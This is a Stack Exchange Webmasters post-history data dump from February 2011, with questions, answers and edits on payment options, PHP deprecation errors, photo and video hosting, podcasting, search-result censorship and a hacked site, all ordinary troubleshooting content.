  <row Id="19386" PostHistoryTypeId="2" PostId="8883" RevisionGUID="6c5778f2-d6e2-4ed8-a1a2-7b36d9af1672" CreationDate="2011-02-08T14:27:12.443" UserId="1253" Text="You have a few options:&#xD;&#xA;&#xD;&#xA;1) Use a true merchant with payment gateway (if you are in the US)&#xD;&#xA;&#xD;&#xA;2) Use a third party payment provider like Paypal&#xD;&#xA;&#xD;&#xA;3) Use an ACH service like [Authorize.net's eChecks][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.authorize.net/solutions/merchantsolutions/merchantservices/echeck/" />
  <row Id="19390" PostHistoryTypeId="10" PostId="8852" RevisionGUID="50f0aa41-b959-40d2-9885-102754f0d1df" CreationDate="2011-02-08T14:28:15.377" UserId="1253" CloseReasonId="3" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="19391" PostHistoryTypeId="10" PostId="8861" RevisionGUID="6e3186df-c04d-4f96-a61e-1ffbecd7df8d" CreationDate="2011-02-08T14:28:59.680" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="19392" PostHistoryTypeId="5" PostId="8861" RevisionGUID="96261fcf-ede0-49a8-a29b-29e36b72c2b3" CreationDate="2011-02-08T14:28:59.790" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [What is the best Apache logs Analyzer?](http://webmasters.stackexchange.com/questions/4852/what-is-the-best-apache-logs-analyzer)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I am looking for something to do some basic apache log analysis server side, or remotely. awstats seems like it has all the info, but its too much, and it is so ugly. Isn't there some zero config, zero maintenance options out there to do simple server log analysis other than awstat?" />
  <row Id="19396" PostHistoryTypeId="10" PostId="8863" RevisionGUID="c83d47bc-1723-4f80-b7dd-6b6161c7ef67" CreationDate="2011-02-08T14:30:04.140" UserId="1253" CloseReasonId="3" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="19397" PostHistoryTypeId="10" PostId="8882" RevisionGUID="a6bf51f6-8a1f-4b6f-9c2a-e667a891343d" CreationDate="2011-02-08T14:35:33.170" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="19398" PostHistoryTypeId="5" PostId="8882" RevisionGUID="b95592bb-480a-4f4c-81c1-e78963f8f47d" CreationDate="2011-02-08T14:35:33.280" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Security exception in Twitterizer](http://webmasters.stackexchange.com/questions/8881/security-exception-in-twitterizer)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;Hi,&#xD;&#xA;&#xD;&#xA;We are using Twitterizer for Twitter integration to get the Tweets details. When making call to the method `OAuthUtility.GetRequestToken`, following exception is coming.&#xD;&#xA;&#xD;&#xA;&gt; System.Security.SecurityException:&#xD;&#xA;&gt; Request for the permission of type&#xD;&#xA;&gt; 'System.Net.WebPermission, System,&#xD;&#xA;&gt; Version=2.0.0.0, Culture=neutral,&#xD;&#xA;&gt; PublicKeyToken=b77a5c561934e089'&#xD;&#xA;&gt; failed.&#xD;&#xA;&#xD;&#xA;When the application is hosted on IIS 5, the application works fine and the above error is coming only when the application is hosted in IIS 7 on Windows 2008 R2. and the method OAuthUtility.GetRequestToken throws above exception. It seems the issue is something with code access security. Please suggest what kind of permissions should be given to fix the security exception. The application has the Full Trust and I have even tried by registering the Twitterizer DLL in GAC and still the same error is coming. I am not sure what makes the difference between IIS 5 and IIS 7 with regards to code access security to cause that exception.&#xD;&#xA;&#xD;&#xA;Any help would be greatly appreciated.&#xD;&#xA;&#xD;&#xA;Thanks in advance.&#xD;&#xA;&#xD;&#xA;Regards,&#xD;&#xA;Raghu&#xD;&#xA;" />
  <row Id="19399" PostHistoryTypeId="2" PostId="8884" RevisionGUID="9e569410-a467-477d-954a-700c4ad3b6c6" CreationDate="2011-02-08T14:51:21.010" UserId="2496" Text="&quot;open_basedir restriction in effect&quot; means your web host is overly paranoid with security. Find a new web host, and one with php5, too.&#xD;&#xA;&#xD;&#xA;And 777 permissions are dangerous. WP never needs more than 755. If you need 777 permissions at that host to do anything, that's another reason to find another host.&#xD;&#xA;&#xD;&#xA;And http://wordpress.stackexchange.com is a better place for WP questions." />
  <row Id="19401" PostHistoryTypeId="2" PostId="8885" RevisionGUID="3284ecff-764c-4ee4-85d6-c336f066a9fd" CreationDate="2011-02-08T15:33:32.153" UserId="3310" Text="http://www.cacert.org/ issues free certificates" />
  <row Id="19402" PostHistoryTypeId="2" PostId="8886" RevisionGUID="1510decc-25bb-4f2e-801a-49b99df4f7bb" CreationDate="2011-02-08T15:43:28.617" UserId="5261" Text="We run a small search engine and have recently been notified of a number of hate related links in our results that would upset a significant proportion of our users. Our first instinct is to summarily remove these results, but I'm concerned that this makes us little better than the oppressive regimes that censor the web. Where does one draw the line and how might one justify removing results that we deem offensive?&#xD;&#xA;&#xD;&#xA;What's your opinion?&#xD;&#xA;&#xD;&#xA;(Apologies in advance for the Tags. I can't make new ones due to my rep and existing tags don't really cover the content of this question)" />
  <row Id="19403" PostHistoryTypeId="1" PostId="8886" RevisionGUID="1510decc-25bb-4f2e-801a-49b99df4f7bb" CreationDate="2011-02-08T15:43:28.617" UserId="5261" Text="Self-censorship of our search results" />
  <row Id="19404" PostHistoryTypeId="3" PostId="8886" RevisionGUID="1510decc-25bb-4f2e-801a-49b99df4f7bb" CreationDate="2011-02-08T15:43:28.617" UserId="5261" Text="&lt;search-engines&gt;" />
  <row Id="19405" PostHistoryTypeId="5" PostId="8886" RevisionGUID="d473cf57-737b-4994-b84d-44a28f04fa3d" CreationDate="2011-02-08T15:58:08.277" UserId="1253" Comment="Removed &quot;search-engines&quot; and added &quot;moderation censorship&quot; tags" Text="We run a small search engine and have recently been notified of a number of hate related links in our results that would upset a significant proportion of our users. Our first instinct is to summarily remove these results, but I'm concerned that this makes us little better than the oppressive regimes that censor the web. Where does one draw the line and how might one justify removing results that we deem offensive?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="19406" PostHistoryTypeId="6" PostId="8886" RevisionGUID="d473cf57-737b-4994-b84d-44a28f04fa3d" CreationDate="2011-02-08T15:58:08.277" UserId="1253" Comment="Removed &quot;search-engines&quot; and added &quot;moderation censorship&quot; tags" Text="&lt;moderation&gt;&lt;censorship&gt;" />
  <row Id="19407" PostHistoryTypeId="2" PostId="8887" RevisionGUID="3abb7840-6b08-4e23-aa85-b0415c57ab83" CreationDate="2011-02-08T16:18:34.217" UserId="5263" Text="I upgraded my host from Debian Lenny to Debian Squeeze, and now my CMS Made Simple site is spewing PHP errors all over the screen.  I thought I'd upgrade the CMS because I haven't done so in a while, but Google Chrome tells me that the CMS Made Simple site is infested with malware.&#xD;&#xA;&#xD;&#xA;What are my options now?&#xD;&#xA;&#xD;&#xA;Example errors:&#xD;&#xA;&#xD;&#xA;    Deprecated: Assigning the return value of new by reference is deprecated in /www/danmurn/cms/include.php on line 73&#xD;&#xA;    &#xD;&#xA;    Deprecated: Assigning the return value of new by reference is deprecated in /www/danmurn/cms/include.php on line 162&#xD;&#xA;    &#xD;&#xA;    Deprecated: Assigning the return value of new by reference is deprecated in /www/danmurn/cms/include.php on line 240&#xD;&#xA;    &#xD;&#xA;    Warning: session_start() [function.session-start]: Cannot send session cookie - headers already sent by (output started at /www/danmurn/cms/include.php:73) in /www/danmurn/cms/include.php on line 34&#xD;&#xA;    &#xD;&#xA;    Warning: session_start() [function.session-start]: Cannot send session cache limiter - headers already sent (output started at /www/danmurn/cms/include.php:73) in /www/danmurn/cms/include.php on line 34&#xD;&#xA;    &#xD;&#xA;    Deprecated: Function set_magic_quotes_runtime() is deprecated in /www/danmurn/cms/include.php on line 62&#xD;&#xA;    &#xD;&#xA;    Deprecated: Assigning the return value of new by reference is deprecated in /www/danmurn/cms/lib/classes/class.global.inc.php on line 184&#xD;&#xA;    &#xD;&#xA;    Deprecated: Assigning the return value of new by reference is deprecated in /www/danmurn/cms/lib/classes/class.global.inc.php on line 196&#xD;&#xA;&#xD;&#xA;" />
  <row Id="19408" PostHistoryTypeId="1" PostId="8887" RevisionGUID="3abb7840-6b08-4e23-aa85-b0415c57ab83" CreationDate="2011-02-08T16:18:34.217" UserId="5263" Text="Upgraded Linux, now CMS Made Simple is spewing errors" />
  <row Id="19409" PostHistoryTypeId="3" PostId="8887" RevisionGUID="3abb7840-6b08-4e23-aa85-b0415c57ab83" CreationDate="2011-02-08T16:18:34.217" UserId="5263" Text="&lt;cms&gt;" />
  <row Id="19410" PostHistoryTypeId="2" PostId="8888" RevisionGUID="a974e89b-60da-46cb-a5a2-68916b7f46a2" CreationDate="2011-02-08T16:31:51.013" UserId="5264" Text="We are developing an application that needs a web server to interact with the two (or more) entities involved. They will not ever see anything on the web, but the server is required for the transfer of data between them. It's sort of a holding point. Now, the only thing the server is going to be holding is textual data. The two entities are going to be doing the work with the data.&#xD;&#xA;&#xD;&#xA;I was wondering what the cost of this type of server would be. Since it would be JUST a database with no front end, would it make sense to employ a service through Amazon or Google that just holds data for me to access instead of buying a server and making my own database?&#xD;&#xA;&#xD;&#xA;The amount of data can grow very large however it's only text, and all data over a day old will be deleted for the most part every day.&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="19411" PostHistoryTypeId="1" PostId="8888" RevisionGUID="a974e89b-60da-46cb-a5a2-68916b7f46a2" CreationDate="2011-02-08T16:31:51.013" UserId="5264" Text="Cost of Web Server that hosted and delivered text only" />
  <row Id="19412" PostHistoryTypeId="3" PostId="8888" RevisionGUID="a974e89b-60da-46cb-a5a2-68916b7f46a2" CreationDate="2011-02-08T16:31:51.013" UserId="5264" Text="&lt;database&gt;" />
  <row Id="19413" PostHistoryTypeId="2" PostId="8889" RevisionGUID="608ab656-2e5e-490d-8859-1647eec1aae7" CreationDate="2011-02-08T16:07:53.480" UserDisplayName="motboys" Text="I am looking for a solution that will do the following:&#xD;&#xA;&#xD;&#xA;User uploads audio and/or video files with title, desc. image etc  &#xD;&#xA;Solution embeds info into ID3 tags  &#xD;&#xA;Solution generates RSS feed  &#xD;&#xA;Solution embeds new content in our website  &#xD;&#xA;Content on website is searchable&#xD;&#xA;&#xD;&#xA;This is for a couple of church websites I manage.  I am looking for the ability to do the above with a sermon mp3 and also a video.  At the moment we are doing it with multiple steps / people involved and I want to automate the process.  I can't seem to find a solution that does all of the above.  Thank you! " />
  <row Id="19414" PostHistoryTypeId="1" PostId="8889" RevisionGUID="608ab656-2e5e-490d-8859-1647eec1aae7" CreationDate="2011-02-08T16:07:53.480" UserDisplayName="motboys" Text="Looking for Non Hosted Audio &amp; Video Podcasting Solution for Church Websites" />
  <row Id="19415" PostHistoryTypeId="3" PostId="8889" RevisionGUID="608ab656-2e5e-490d-8859-1647eec1aae7" CreationDate="2011-02-08T16:07:53.480" UserDisplayName="motboys" Text="&lt;video&gt;&lt;audio&gt;&lt;podcast&gt;&lt;web-based&gt;" />
  <row Id="19416" PostHistoryTypeId="17" PostId="8889" RevisionGUID="e1f06f19-317e-4577-87f9-afdbd2ae8dbe" CreationDate="2011-02-08T16:47:04.973" UserId="-1" Comment="from http://stackoverflow.com/questions/4935379/looking-for-non-hosted-audio-video-podcasting-solution-for-church-websites" Text="" />
  <row Id="19417" PostHistoryTypeId="2" PostId="8890" RevisionGUID="8536de39-f8a4-4523-bef5-2459be8de569" CreationDate="2011-02-08T16:53:04.463" UserId="5265" Text="I am trying to get the lipstick on the pig and not wearing my UI developer hat often is making this impossible. &#xD;&#xA;&#xD;&#xA;Can someone give me nice alternatives to the code below. this is what i have now.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    &lt;style&gt;&#xD;&#xA;          .FirstLetter:first-letter{font-family: arial; font-size: 14pt; font-weight: bold;color:White; background:Blue; border:1px black solid; padding-top:8px; padding-left:8px; padding-bottom:3px;}&#xD;&#xA;          .Spaced{letter-spacing: 5px;font-family: arial; font-size: 14pt; font-weight: bold;}&#xD;&#xA;          &lt;/style&gt;&#xD;&#xA;    &#xD;&#xA;    &lt;div class=&quot;FirstLetter Spaced headerFont&quot;&gt;&#xD;&#xA;    Executive Summary&#xD;&#xA;    &lt;/div&gt;&#xD;&#xA;&#xD;&#xA;Here is the ugly result of the above code- i am lookign to make the header section look better ONLY that's where the first letter is blue:&#xD;&#xA;&#xD;&#xA;![enter image description here][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/82meO.gif" />
  <row Id="19418" PostHistoryTypeId="1" PostId="8890" RevisionGUID="8536de39-f8a4-4523-bef5-2459be8de569" CreationDate="2011-02-08T16:53:04.463" UserId="5265" Text="How to make this CSS design of words in headings look clean and well desinged?" />
  <row Id="19419" PostHistoryTypeId="3" PostId="8890" RevisionGUID="8536de39-f8a4-4523-bef5-2459be8de569" CreationDate="2011-02-08T16:53:04.463" UserId="5265" Text="&lt;css&gt;&lt;websites&gt;&lt;web&gt;&lt;web-design&gt;" />
  <row Id="19420" PostHistoryTypeId="10" PostId="8890" RevisionGUID="c0e49d8d-24d1-445e-9730-d477299cee59" CreationDate="2011-02-08T17:12:58.043" UserId="-1" CloseReasonId="4" Text="[{&quot;Id&quot;:1757,&quot;DisplayName&quot;:&quot;Lèse majesté&quot;},{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="19421" PostHistoryTypeId="2" PostId="8891" RevisionGUID="32a65510-f48e-413f-8069-f9293bab4210" CreationDate="2011-02-08T17:15:32.180" UserId="1426" Text="The CMS is relying on a feature of PHP that has been deprecated (assigning a return value by reference). I would suggest seeing whether there is a more recent version of the CMS available that is compatible with PHP5, if not you should report this problem to the CMS developers as it's really something they should fix.&#xD;&#xA;&#xD;&#xA;If you absolutely have no other option, you could change the error_reporting value in php.ini to disable these errors, try something like:&#xD;&#xA;&#xD;&#xA;    error_reporting = E_ALL &amp; ~E_DEPRECATED&#xD;&#xA;&#xD;&#xA;but this won't work forever, and may cause other problems." />
  <row Id="19422" PostHistoryTypeId="25" PostId="8886" RevisionGUID="17c82c96-7403-431b-8927-426d92053fc5" CreationDate="2011-02-08T17:16:41.040" Comment="http://twitter.com/#!/StackWebmasters/status/35024226180141056" />
  <row Id="19423" PostHistoryTypeId="5" PostId="8891" RevisionGUID="35941b0a-a3f7-449a-8380-a3f5371ba01b" CreationDate="2011-02-08T17:24:10.363" UserId="1426" Comment="added 21 characters in body" Text="The version of the CMS you are running is not PHP5 compatible. Upgrading to the latest version should fix the problem, as I notice on the CMS Made Simple site they now require PHP 5.2 (which is good).&#xD;&#xA;&#xD;&#xA;I'm not getting any malware errors from Chrome on their site, if it helps their downloads page is: http://www.cmsmadesimple.org/downloads/&#xD;&#xA;&#xD;&#xA;As a very short term fix you could change your error_reporting value in php.ini to hide these errors, try something like:&#xD;&#xA;&#xD;&#xA;    error_reporting = E_ALL &amp; ~E_DEPRECATED&#xD;&#xA;&#xD;&#xA;should work but there may be other issues, you will need to upgrade ASAP." />
  <row Id="19424" PostHistoryTypeId="5" PostId="8844" RevisionGUID="b5138d84-0eda-4b0a-a045-81fd4febc40a" CreationDate="2011-02-08T19:00:42.230" UserDisplayName="user5236" Comment="deleted 39 characters in body" Text="I am working on this web page: (nevermind) and as you can see the page footer is covering the content. I have tried to adjust many CSS properties such as overflow, position, height, float, etc. in firebug and none of my edits have had any positive effect. I am even using a clearing div. Perhaps I am overlooking something pretty easy. How do I prevent the footer from covering up the table content?" />
  <row Id="19425" PostHistoryTypeId="17" PostId="8893" RevisionGUID="27500207-2ee8-4f88-b072-4815395a8439" CreationDate="2011-02-08T20:01:14.133" UserId="-1" Comment="from http://stackoverflow.com/questions/1388869/is-there-anyway-to-host-my-own-picture-web-site-and-have-links-for-people-to-orde/1388878#1388878" Text="" />
  <row Id="19426" PostHistoryTypeId="17" PostId="8894" RevisionGUID="3a711854-c587-41e6-916b-d994151fea49" CreationDate="2011-02-08T20:01:14.133" UserId="-1" Comment="from http://stackoverflow.com/questions/1388869/is-there-anyway-to-host-my-own-picture-web-site-and-have-links-for-people-to-orde/4887352#4887352" Text="" />
  <row Id="19427" PostHistoryTypeId="17" PostId="8895" RevisionGUID="ecdd16b2-b10d-407c-bc36-76bf1c79d13d" CreationDate="2011-02-08T20:01:14.133" UserId="-1" Comment="from http://stackoverflow.com/questions/1388869/is-there-anyway-to-host-my-own-picture-web-site-and-have-links-for-people-to-orde/4910499#4910499" Text="" />
  <row Id="19428" PostHistoryTypeId="17" PostId="8896" RevisionGUID="f1cd69b3-b892-4c4c-9663-451c53ea2b3d" CreationDate="2011-02-08T20:01:14.133" UserId="-1" Comment="from http://stackoverflow.com/questions/1388869/is-there-anyway-to-host-my-own-picture-web-site-and-have-links-for-people-to-orde/4924261#4924261" Text="" />
  <row Id="19429" PostHistoryTypeId="17" PostId="8897" RevisionGUID="a5e5cafc-4b12-48af-9b4a-a119a939520b" CreationDate="2011-02-08T20:01:14.133" UserId="-1" Comment="from http://stackoverflow.com/questions/1388869/is-there-anyway-to-host-my-own-picture-web-site-and-have-links-for-people-to-orde/4937671#4937671" Text="" />
  <row Id="19430" PostHistoryTypeId="2" PostId="8893" RevisionGUID="c2dc0727-3dfc-4e0b-9bff-8f0f358f5394" CreationDate="2009-09-07T11:22:20.963" UserDisplayName="Daniel Elliott" Text="Most picture sales sites I have encountered DO require that you host your images with them.&#xD;&#xA;&#xD;&#xA;Kindness,&#xD;&#xA;&#xD;&#xA;Dan" />
  <row Id="19431" PostHistoryTypeId="2" PostId="8894" RevisionGUID="9a477c35-a0be-42c7-aca0-db514facdd73" CreationDate="2011-02-03T14:28:31.497" UserDisplayName="dgnorton" Text="I haven't used these but here are some possibilities...&#xD;&#xA;&#xD;&#xA;http://www.cmsaccount.com/  - &quot;Prints and shipped products&quot;&#xD;&#xA;&#xD;&#xA;http://www.ktools.net/&#xD;&#xA;&#xD;&#xA;http://www.xpoze.org/&#xD;&#xA;&#xD;&#xA;http://www.lightboxphoto.com/&#xD;&#xA;&#xD;&#xA;http://gallery.menalto.com/&#xD;&#xA;&#xD;&#xA;And here's a list of photo gallery software on Wikipedia...&#xD;&#xA;&#xD;&#xA;http://en.wikipedia.org/wiki/Comparison_of_photo_gallery_software" />
  <row Id="19432" PostHistoryTypeId="2" PostId="8895" RevisionGUID="ff65d93d-c67b-4d81-91d2-8f634b4b1b3f" CreationDate="2011-02-05T23:45:59.453" UserId="1285" Text="Generally speaking, you could implement your own shopping cart (pick one of the many available) to allow others to order photos through your own site.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="19433" PostHistoryTypeId="2" PostId="8896" RevisionGUID="e9ce6bf0-c63a-4b41-b532-55d2f23d27e4" CreationDate="2011-02-07T17:16:39.533" UserDisplayName="Shyju" Text="&#xD;&#xA;I would recommend you to use some open source e-commerce application for this.You can setup your pictures as products and people can buy it.**oscommerce** is a good choice to start if you know little bit PHP. It has got wide range of add-ons which u can use to integrate the payment option and all. &#xD;&#xA;&#xD;&#xA;**OSCOMMERCE Link**&#xD;&#xA; http://www.oscommerce.com/solutions/downloads&#xD;&#xA;&#xD;&#xA;Reasons you should consider such products&#xD;&#xA;&#xD;&#xA;1) Already tested by many people&#xD;&#xA;&#xD;&#xA;2) You can save lot of time.just download the source code and modify it as per your requirements.&#xD;&#xA;&#xD;&#xA;3) Wide range of addons and community support" />
  <row Id="19434" PostHistoryTypeId="2" PostId="8897" RevisionGUID="ea2181c6-677a-4280-99f4-db1fba7c897f" CreationDate="2011-02-08T19:54:23.357" UserDisplayName="thaimin" Text="I have used Gallery ([http://gallery.menalto.com/](http://gallery.menalto.com/)) which is an open source photo-gallery with shopping cart, although never the shopping cart features. It is highly extensible and numerous plugins (including many that expand the shopping cart features) are freely available. The one downside is that it requires PHP and MySQL (and you have specified ASP.NET). However, both PHP and MySQL can run in IIS and whatever server you are using may already have them setup.&#xD;&#xA;&#xD;&#xA;Examples:&#xD;&#xA;&#xD;&#xA;* http://www.coderforlife.com/nz/gallery/&#xD;&#xA;* http://pinetreepavilion.bushtoolbox.net/gallery/&#xD;&#xA;&#xD;&#xA;Both of those sites are in fact using the same engine (ie they are running on the same server with the same code). That's an example of the extensibility of the interface. Also, all of those photos are personally hosted, no 3rd-party hosting.&#xD;&#xA;" />
  <row Id="19435" PostHistoryTypeId="2" PostId="8892" RevisionGUID="6771482e-5896-4e41-adbf-457c35c965bf" CreationDate="2009-09-07T11:18:45.107" UserId="662" Text="i have too many pictures and i dont want to pay for storage with picasa, etc as i have my own hosting space that i pay for already.&#xD;&#xA;&#xD;&#xA;is there anyway i can keep my own hosted pictures and website but still allow people to click to order pictures through other services?" />
  <row Id="19436" PostHistoryTypeId="1" PostId="8892" RevisionGUID="6771482e-5896-4e41-adbf-457c35c965bf" CreationDate="2009-09-07T11:18:45.107" UserId="662" Text="is there anyway to host my own picture web site and have links for people to order them through other services" />
  <row Id="19437" PostHistoryTypeId="3" PostId="8892" RevisionGUID="6771482e-5896-4e41-adbf-457c35c965bf" CreationDate="2009-09-07T11:18:45.107" UserId="662" Text="&lt;asp.net&gt;&lt;pictures&gt;" />
  <row Id="19438" PostHistoryTypeId="17" PostId="8892" RevisionGUID="1aed2ac0-66ae-4b2c-8fa8-4d7264739f2a" CreationDate="2011-02-08T20:01:14.133" UserId="-1" Comment="from http://stackoverflow.com/questions/1388869/is-there-anyway-to-host-my-own-picture-web-site-and-have-links-for-people-to-orde" Text="" />
  <row Id="19439" PostHistoryTypeId="2" PostId="8898" RevisionGUID="eebec936-a9f1-4aeb-84c0-e104bd795365" CreationDate="2011-02-08T20:01:44.853" UserId="1253" Text="Just pipe any emails delivered to your catchall to a PHP programming (or whatever server side program you use) and then have it parse the email for the email address sent to, look it up in the database, pull out the real address of the user, and then email the contents of the email to them." />
  <row Id="19440" PostHistoryTypeId="25" PostId="8887" RevisionGUID="f0b42d85-c9fa-4977-96a3-f84c350379ac" CreationDate="2011-02-08T20:16:40.713" Comment="http://twitter.com/#!/StackWebmasters/status/35069523887398912" />
  <row Id="19441" PostHistoryTypeId="2" PostId="8899" RevisionGUID="e3e6db28-7c27-4f4c-8783-da8821704b6c" CreationDate="2011-02-08T21:01:26.157" UserId="835" Text="[WordPress](http://www.wordpress.org) with [PowerPress](http://www.blubrry.com/powerpress/) does this all very easily." />
  <row Id="19442" PostHistoryTypeId="2" PostId="8900" RevisionGUID="49e581cb-6e24-4864-98c7-bf362261fed6" CreationDate="2011-02-08T21:25:33.290" UserId="1757" Text="Oh boy, this really takes me back. I honestly haven't used this service in probably close to 10 years, but [Everyone.net][1] provides an MX hosting service that allows users to sign up for their own address. You just provide a link to `http://{yoursite}.mail.everyone.net` from your site, and visitors will be able to sign up for a free email account on your domain.&#xD;&#xA;&#xD;&#xA;Now, since it's been such a long time, I'm not sure if this account type is still free or not, but I do remember the service was quite good. This was a time before Gmail, but their webmail interface was relatively good as well. (From [what I've read][2], it sounds like free accounts probably won't have IMAP or POP access.)&#xD;&#xA;&#xD;&#xA;If Everyone.net isn't to your liking, you might try other MX hosting services. Searching Google just now, I came across another one called ZapZone or something like that, but it looks super spammy, and I can't imagine their webmail interface being very good. But [some of these][3] might be alright. Or if you use Google Apps, there may be something in the Google Apps Marketplace too.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://everyone.net/&#xD;&#xA;  [2]: http://controlcenter.everyone.net/main/html/email_started.html&#xD;&#xA;  [3]: http://www.emailaddresses.com/email_ownservice.htm" />
  <row Id="19443" PostHistoryTypeId="2" PostId="8901" RevisionGUID="fd852c7a-2671-4306-a24a-60bf7690321f" CreationDate="2011-02-08T21:40:24.260" UserId="2185" Text="webmaster tools for my site displays that&#xD;&#xA;&#xD;&#xA;robots.txt unreachable&#xD;&#xA;and for all links in sitemap it says network unreachable.&#xD;&#xA;sitemap.xml unreachable.&#xD;&#xA;&#xD;&#xA;These appear in crawl stats page.&#xD;&#xA;&#xD;&#xA;I discussed with the support team of my hosting and they said...&#xD;&#xA;&#xD;&#xA;&gt; Hi,&#xD;&#xA;&gt; &#xD;&#xA;&gt; I have verified apache logs, i cannot&#xD;&#xA;&gt; see any issues on your&#xD;&#xA;&gt; website/webserver/&#xD;&#xA;&gt; &#xD;&#xA;&gt; Possible issues.&#xD;&#xA;&#xD;&#xA;&gt; 1. There may the routing issue from the googles server to our server.&#xD;&#xA;&#xD;&#xA;&gt; 2. When a google bots hits goes high the IP will be automatically&#xD;&#xA;&gt; blacklisted by our firewall to avoid&#xD;&#xA;&gt; server loads &amp; downtimes.&#xD;&#xA;&gt; &#xD;&#xA;&gt; As we donot have access to their&#xD;&#xA;&gt; services, We cannot able to give&#xD;&#xA;&gt; details of their details/logs etc.&#xD;&#xA;&#xD;&#xA;The sitemaps link shows an exclamation mark which means the file was not reachable.&#xD;&#xA;&#xD;&#xA;What could be the problem and how to solve it?" />
  <row Id="19444" PostHistoryTypeId="1" PostId="8901" RevisionGUID="fd852c7a-2671-4306-a24a-60bf7690321f" CreationDate="2011-02-08T21:40:24.260" UserId="2185" Text="webmaster tools - Network Unreachable" />
  <row Id="19445" PostHistoryTypeId="3" PostId="8901" RevisionGUID="fd852c7a-2671-4306-a24a-60bf7690321f" CreationDate="2011-02-08T21:40:24.260" UserId="2185" Text="&lt;google-webmaster-tools&gt;" />
  <row Id="19446" PostHistoryTypeId="2" PostId="8902" RevisionGUID="cfc91031-2782-4359-9ed8-15ccd162aad0" CreationDate="2011-02-08T21:44:10.737" UserDisplayName="user5272" Text="Take a look at this service offered by Microsoft.  It just might be what you are looking for. http://explore.live.com/windows-live-admin-center" />
  <row Id="19447" PostHistoryTypeId="2" PostId="8903" RevisionGUID="7c8974a6-79c2-44ca-a63d-2b425cabcb44" CreationDate="2011-02-08T21:45:20.830" UserId="5271" Text="I have used http://www.longtailvideo.com/bits-on-the-run,http://www.influxis.com/, wistia for video hosting. Wistia didn't allow the finer control that we wanted to have. Influxis doesn't have the features that Bits on the Run has but platform usage for BOTR gets expensive. I was thinking of moving the videos to Amazon CDN. What are your thoughts and experiences with video hosting and are there any recommendations? Videos will be privately streamed to 100's of doctors offices." />
  <row Id="19448" PostHistoryTypeId="1" PostId="8903" RevisionGUID="7c8974a6-79c2-44ca-a63d-2b425cabcb44" CreationDate="2011-02-08T21:45:20.830" UserId="5271" Text="What are good options for hosting video that give you privacy and control (not youtube or vimeo)?" />
  <row Id="19449" PostHistoryTypeId="3" PostId="8903" RevisionGUID="7c8974a6-79c2-44ca-a63d-2b425cabcb44" CreationDate="2011-02-08T21:45:20.830" UserId="5271" Text="&lt;web-hosting&gt;&lt;video&gt;" />
  <row Id="19450" PostHistoryTypeId="2" PostId="8904" RevisionGUID="37fb2e31-d091-4659-b507-5330dd8ad330" CreationDate="2011-02-08T22:46:18.090" UserId="4021" Text="Try Google Trends.  You can enter a keyword, then click country, then you'll see data by state.  &#xD;&#xA;&#xD;&#xA;Example: `fergie` is big in Nevada for some reason&#xD;&#xA;&#xD;&#xA;http://www.google.com/trends?q=fergie&amp;geo=usa&amp;sa=N&#xD;&#xA;&#xD;&#xA;Unfortunately Trends only gives detail for relatively high volume keywords." />
  <row Id="19451" PostHistoryTypeId="25" PostId="8889" RevisionGUID="1e60ab9d-ac9a-4677-864c-c4935f74b066" CreationDate="2011-02-08T23:16:40.717" Comment="http://twitter.com/#!/StackWebmasters/status/35114822047776768" />
  <row Id="19452" PostHistoryTypeId="25" PostId="8866" RevisionGUID="cc4cc4e4-ceed-4992-9bf4-d91d52fee6fc" CreationDate="2011-02-09T02:16:41.887" Comment="http://twitter.com/#!/StackWebmasters/status/35160125765320704" />
  <row Id="19453" PostHistoryTypeId="2" PostId="8905" RevisionGUID="46a9c123-3210-4144-8f59-4a96b0a7210b" CreationDate="2011-02-09T03:27:33.123" UserId="4803" Text="Personally, I want to say that instead of removing the results, just make sure the results of an offensive nature are at the very bottom of the results.&#xD;&#xA;&#xD;&#xA;Either that or take after Google and give users the option." />
  <row Id="19454" PostHistoryTypeId="25" PostId="8877" RevisionGUID="12ed84a0-2db5-4791-b203-e63cfcc432e4" CreationDate="2011-02-09T05:16:41.763" Comment="http://twitter.com/#!/StackWebmasters/status/35205422734512128" />
  <row Id="19455" PostHistoryTypeId="2" PostId="8906" RevisionGUID="d820321e-43d8-4e25-894e-e5ad79b9e72c" CreationDate="2011-02-09T05:05:43.473" UserDisplayName="Gpathy" Text="3 days back my website &quot;www.ganapatihegde.com&quot; has been hacked/attacked by some hacker. Now, when anyone tries to see my website it says &quot;Reported Attack Page!&quot;. I am using server provided by freehostia.com. I contacted them, but they say they dont provide any &quot;site script debugging service&quot;. How can i get my website back.&#xD;&#xA;&#xD;&#xA;Thanks &#xD;&#xA;" />
  <row Id="19456" PostHistoryTypeId="1" PostId="8906" RevisionGUID="d820321e-43d8-4e25-894e-e5ad79b9e72c" CreationDate="2011-02-09T05:05:43.473" UserDisplayName="Gpathy" Text="my website has been hacked/attacked, says &quot;reported attack page&quot; " />
  <row Id="19457" PostHistoryTypeId="3" PostId="8906" RevisionGUID="d820321e-43d8-4e25-894e-e5ad79b9e72c" CreationDate="2011-02-09T05:05:43.473" UserDisplayName="Gpathy" Text="&lt;web-services&gt;&lt;web&gt;&lt;website&gt;" />
